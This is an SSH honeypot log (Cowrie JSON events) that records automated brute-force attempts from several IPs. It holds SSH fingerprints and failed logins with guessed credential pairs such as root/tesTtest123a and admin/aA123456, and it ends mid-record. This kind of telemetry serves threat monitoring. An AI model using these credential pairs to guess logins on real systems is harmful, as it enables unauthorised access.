{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:50.957219Z","src_ip":"192.109.200.78","session":"a6cd41e3f87d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:51.210154Z","src_ip":"192.109.200.78","session":"a6cd41e3f87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:52.296714Z","src_ip":"192.109.200.78","session":"a6cd41e3f87d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46314,"dst_ip":"10.17.0.5","dst_port":22,"session":"e81ebba5b595","protocol":"ssh","message":"New connection: 192.109.200.78:46314 (10.17.0.5:22) [session: e81ebba5b595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:54.929569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:54.934180Z","src_ip":"192.109.200.78","session":"e81ebba5b595","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:55.021637Z","src_ip":"192.109.200.78","session":"e81ebba5b595","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:55.358899Z","src_ip":"192.109.200.78","session":"e81ebba5b595","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:56.444869Z","src_ip":"192.109.200.78","session":"e81ebba5b595","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59418,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2e5831fc9d8","protocol":"ssh","message":"New connection: 192.109.200.78:59418 (10.17.0.5:22) [session: f2e5831fc9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:59.082596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:59.087519Z","src_ip":"192.109.200.78","session":"f2e5831fc9d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:59.178689Z","src_ip":"192.109.200.78","session":"f2e5831fc9d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:41:59.428910Z","src_ip":"192.109.200.78","session":"f2e5831fc9d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:00.519768Z","src_ip":"192.109.200.78","session":"f2e5831fc9d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59434,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad5ed4340b41","protocol":"ssh","message":"New connection: 192.109.200.78:59434 (10.17.0.5:22) [session: ad5ed4340b41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:03.359591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:03.365050Z","src_ip":"192.109.200.78","session":"ad5ed4340b41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:03.447382Z","src_ip":"192.109.200.78","session":"ad5ed4340b41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:03.704906Z","src_ip":"192.109.200.78","session":"ad5ed4340b41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:04.791681Z","src_ip":"192.109.200.78","session":"ad5ed4340b41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59448,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fe3755a2933","protocol":"ssh","message":"New connection: 192.109.200.78:59448 (10.17.0.5:22) [session: 0fe3755a2933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:07.336559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:07.341085Z","src_ip":"192.109.200.78","session":"0fe3755a2933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:07.432584Z","src_ip":"192.109.200.78","session":"0fe3755a2933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:07.687600Z","src_ip":"192.109.200.78","session":"0fe3755a2933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:08.784034Z","src_ip":"192.109.200.78","session":"0fe3755a2933","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53188,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ec2b6f7be55","protocol":"ssh","message":"New connection: 192.109.200.78:53188 (10.17.0.5:22) [session: 8ec2b6f7be55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:11.420794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:11.425831Z","src_ip":"192.109.200.78","session":"8ec2b6f7be55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":37208,"dst_ip":"159.203.135.109","dst_port":22,"session":"b22b196f49eb","protocol":"ssh","message":"New connection: 78.128.112.74:37208 (159.203.135.109:22) [session: b22b196f49eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:11.462945Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:11.509582Z","src_ip":"192.109.200.78","session":"8ec2b6f7be55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tesTtest123a","message":"login attempt [root/tesTtest123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:11.764566Z","src_ip":"192.109.200.78","session":"8ec2b6f7be55","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:11.882942Z","src_ip":"78.128.112.74","session":"b22b196f49eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:11.886967Z","src_ip":"78.128.112.74","session":"b22b196f49eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52092,"dst_ip":"159.203.135.109","dst_port":22,"session":"50b6f2675562","protocol":"ssh","message":"New connection: 159.203.92.129:52092 (159.203.135.109:22) [session: 50b6f2675562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:12.874151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:12.878521Z","src_ip":"159.203.92.129","session":"50b6f2675562","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:12.881806Z","src_ip":"159.203.92.129","session":"50b6f2675562","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aA123456","message":"login attempt [admin/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:12.891841Z","src_ip":"159.203.92.129","session":"50b6f2675562","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:12.911641Z","src_ip":"192.109.200.78","session":"8ec2b6f7be55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"super","message":"login attempt [user/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:13.529404Z","src_ip":"78.128.112.74","session":"b22b196f49eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:13.897863Z","src_ip":"159.203.92.129","session":"50b6f2675562","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:14.665039Z","src_ip":"78.128.112.74","session":"b22b196f49eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53190,"dst_ip":"10.17.0.5","dst_port":22,"session":"d84c8c30396f","protocol":"ssh","message":"New connection: 192.109.200.78:53190 (10.17.0.5:22) [session: d84c8c30396f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:15.521594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:15.526370Z","src_ip":"192.109.200.78","session":"d84c8c30396f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com"